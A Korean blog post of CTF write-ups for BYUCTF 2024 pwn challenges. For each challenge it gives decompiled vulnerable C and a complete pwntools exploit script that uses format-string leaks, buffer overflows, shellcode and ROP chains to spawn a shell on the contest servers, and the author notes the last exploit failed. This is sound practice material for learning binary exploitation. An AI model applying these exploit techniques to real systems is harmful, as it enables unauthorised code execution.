ssongk
ssongk
ssongk
전체 방문자
오늘
어제

공지사항

  • resources
  • 분류 전체보기 (626)
    • CTF (24)
    • background (79)
      • fuzzing (5)
      • linux (29)
      • linux kernel (15)
      • windows (2)
      • web assembly (1)
      • embedded (0)
      • web (13)
      • crypto (9)
      • mobile (1)
      • AI (1)
      • etc.. (3)
    • write-up(pwn) (171)
      • dreamhack (102)
      • pwn.college (4)
      • pwnable.xyz (51)
      • pwnable.tw (3)
      • pwnable.kr (5)
      • G04T (6)
    • write-up(rev) (32)
      • dreamhack (24)
      • reversing.kr (8)
    • write-up(web) (195)
      • dreamhack (63)
      • LOS (40)
      • webhacking.kr (69)
      • websec.fr (3)
      • wargame.kr (6)
      • webgoat (1)
      • G04T (7)
      • suninatas (6)
    • write-up(crypto) (19)
      • dreamhack (16)
      • G04T (1)
      • suninatas (2)
    • write-up(forensic) (53)
      • dreamhack (5)
      • ctf-d (47)
      • suninatas (1)
    • write-up(misc) (13)
      • dreamhack (12)
      • suninatas (1)
    • development (31)
      • Linux (14)
      • Java (13)
      • Python (1)
      • C (2)
      • TroubleShooting (1)
    • 자격증 (8)
    • 이산수학 (1)
    • 정보보안 (0)
hELLO · Designed By 정상우.
ssongk

ssongk

BYUCTF 2024 (Pwn)
CTF

BYUCTF 2024 (Pwn)

2024. 5. 19. 22:48

 


 

[solved]

 

[pwn/All]

더보기
int vuln()
{
  int result; // eax
  char buf[32]; // [rsp+0h] [rbp-20h] BYREF

  while ( 1 )
  {
    result = strcmp(buf, "quit");
    if ( !result )
      break;
    read(0, buf, 0x100uLL);
    printf(buf);
  }
  return result;
}

 

bof, fsb가 발생한다.

from pwn import *

context.arch = 'amd64'
# p = process('all')
p = remote('all.chal.cyberjousting.com', 1348)

p.send(b'%p.')
stack = int(p.recvuntil(b'.')[:-1],16)

pay = b'quit\x00' + b'a'*0x23
pay += p64(stack+0x30)
pay += asm(shellcraft.sh())

p.send(pay)
p.interactive()

 

[pwn/Static]

더보기
__int64 vuln()
{
  char v1[10]; // [rsp+6h] [rbp-Ah] BYREF

  return read(0LL, v1, 0x100LL);
}

 

vuln에선 canary를 검사하지 않는다.

따라서 bof로 rop를 수행할 수 있다.

from pwn import *

context.arch = 'amd64'
# p = process('static')
p = remote('static.chal.cyberjousting.com',1350)
e = ELF('static')
r = ROP(e)

rw_area = 0x49dc80

ret = r.find_gadget(['ret'])[0]
syscall = r.find_gadget(['syscall','ret'])[0]
pop_rdi = r.find_gadget(['pop rdi','ret'])[0]
pop_rsi = r.find_gadget(['pop rsi','ret'])[0]
pop_rdx_rbx = r.find_gadget(['pop rdx','pop rbx','ret'])[0]
pop_rax = r.find_gadget(['pop rax','ret'])[0]

pay = b'a'*0xa + p64(rw_area)
pay += p64(pop_rsi) + p64(rw_area)
pay += p64(0x4017FC)
p.send(pay)

pay = b'/bin/sh\x00'
pay += p64(pop_rdi) + p64(rw_area)
pay += p64(pop_rsi) + p64(0)
pay += p64(pop_rdx_rbx) + p64(0) + p64(0)
pay += p64(pop_rax) + p64(0x3b)
pay += p64(syscall)
p.send(pay)

p.interactive()

 

[pwn/Numbersss]

더보기
__int64 vuln()
{
  __int64 result; // rax
  char v1[16]; // [rsp+0h] [rbp-10h] BYREF

  printf("Free junk: %p\n", &printf);
  puts("How many bytes do you want to read in?");
  __isoc99_scanf("%hhd", &length);
  if ( length > 0x10 )
  {
    puts("Too many bytes!");
    exit(1);
  }
  for ( counter = 0; ; ++counter )
  {
    result = (unsigned __int8)length;
    if ( counter == length )
      break;
    read(0, &v1[counter], 1uLL);
  }
  return result;
}

 

length를 입력받는데 %hhd로 입력받는다.

%hhd는 signed byte를 의미한다.

음수를 넣으면 if 문을 우회할 수 있다.

 

이후 1바이트씩 값을 써나갈 수 있다.

printf 함수의 주소를 주기 때문에 libc leak이 해결되므로 rop로 쉘 띄우면 된다.

from pwn import *

context.log_level = 'debug'

p = process('numbersss')
p = remote('numbersss.chal.cyberjousting.com', 1351)
l = ELF('libc-2.37.so')
lr = ROP(l)

p.recvuntil(b'Free junk: ')
printf = int(p.recvline()[:-1],16)
libc = printf - l.symbols['printf']
print('[libc]',hex(libc))

binsh = libc + list(l.search(b'/bin/sh'))[0]
system = libc + l.symbols['system']
pop_rdi = libc + lr.find_gadget(['pop rdi','ret'])[0]
ret = libc + lr.find_gadget(['ret'])[0]

p.sendlineafter(b'in?',b'-128')

for i in range(0x18):
    p.send(b'a')

for i in range(8):
    p.send(int.to_bytes(pop_rdi&0xff,1,'little'))
    pop_rdi >>= 8

for i in range(8):
    p.send(int.to_bytes(binsh&0xff,1,'little'))
    binsh >>= 8

for i in range(8):
    p.send(int.to_bytes(ret&0xff,1,'little'))
    ret >>= 8

for i in range(8):
    p.send(int.to_bytes(system&0xff,1,'little'))
    system >>= 8

for i in range(0x80-0x30):
    p.send(b'\x00')

p.interactive()

 


 

[unsolved]

 

[pwn/Gargantuan]

더보기
int __cdecl main(int argc, const char **argv, const char **envp)
{
  puts("Welcome!");
  puts("Enter your input below:");
  gargantuan();
  return 0;
}
int gargantuan()
{
  size_t read_len; // rbx
  size_t len; // rax
  char buf[512]; // [rsp+0h] [rbp-720h] BYREF
  char s[1288]; // [rsp+200h] [rbp-520h] BYREF
  int read_num; // [rsp+708h] [rbp-18h]
  int i; // [rsp+70Ch] [rbp-14h]

  memset(s, 0, 0x500uLL);
  for ( i = 0; i <= 4; ++i )
  {
    read_num = read(0, buf, 0x200uLL);
    if ( read_num <= 0 )
    {
      puts("read error");
      return printf("Oh I'm sorry, did you want this?? Oops, TOO LATE! %p\n", gargantuan);
    }
    if ( strlen(buf) > 0x100 )
    {
      puts("too large");
      return printf("Oh I'm sorry, did you want this?? Oops, TOO LATE! %p\n", gargantuan);
    }
    read_len = read_num;
    len = strlen(s);
    memcpy(&s[len], buf, read_len);
  }
  return printf("Oh I'm sorry, did you want this?? Oops, TOO LATE! %p\n", gargantuan);
}

 

read_num이 아닌 strlen(buf)로 검사하기 때문에 널바이트를 활용해 우회할 수 있다.

5번째 memcpy를 통해 리턴 오버라이트를 할 수 있다.

 

처음엔 1바이트만 바꿔서 다시 gargantuan 함수를 호출하도록 한 뒤,

rop페이로드를 수행하도록 짰다.

 

근데 로되리안.. 왜 안되는지 모르겠움..

from pwn import *

context.log_level = 'debug'

p = process('gargantuan')
p = remote('gargantuan.chal.cyberjousting.com', 1352)

e = ELF('gargantuan',checksec=False)
l = ELF('libc.so.6',checksec=False)
r = ROP(e)
lr = ROP(l)

def inject(rbp,data):
    for i in range(4):
        pay = b'a'*0x100 + b'\x00' + b'a'*0xfe + b'\x00'
        p.send(pay)

    pay = b'e'*0xff + b'\x00' + b'f'*0x20
    pay += rbp + data
    p.send(pay)

p.recvuntil(b'below:')

# gdb.attach(p)
# pause()

inject(b'f'*0x8,b'\x0B')

p.recvuntil(b'TOO LATE! ')
gargantuan = int(p.recvline()[:-1],16)
pie = gargantuan - e.symbols['gargantuan']
rw_area = pie + 0x4800
print('[pie]',hex(pie))

puts_plt = pie + e.plt['puts']
puts_got = pie + e.got['puts']
pop_rdi = pie + r.find_gadget(['pop rdi','ret'])[0]
ret = pie + r.find_gadget(['ret'])[0]

pay = p64(pop_rdi) + p64(puts_got)
pay += p64(puts_plt)
pay += p64(gargantuan)
inject(p64(rw_area),pay)
p.recvline()
libc = u64(p.recvline()[:-1]+b'\x00'*2) - l.symbols['puts']
print('[libc]',hex(libc))

binsh = libc + list(l.search(b'/bin/sh'))[0]
system = libc + l.symbols['system']
pay = p64(pop_rdi) + p64(binsh)
pay += p64(ret)
pay += p64(system)
inject(p64(rw_area),pay)
p.interactive()

 

'CTF' 카테고리의 다른 글

[hxpCTF 2020] kernel-rop (with write-up) (2)  (0) 2024.06.30
[hxpCTF 2020] kernel-rop (with write-up) (1)  (0) 2024.06.22
TBTL CTF 2024 (Pwn)  (0) 2024.05.18
San Diego CTF 2024 (Pwn)  (0) 2024.05.15
Grey Cat The Flag 2024 Qualifiers  (0) 2024.04.22
    'CTF' 카테고리의 다른 글
    • [hxpCTF 2020] kernel-rop (with write-up) (2)
    • [hxpCTF 2020] kernel-rop (with write-up) (1)
    • TBTL CTF 2024 (Pwn)
    • San Diego CTF 2024 (Pwn)
    ssongk
    ssongk
    벌레 사냥꾼이 되고 싶어요

    티스토리툴바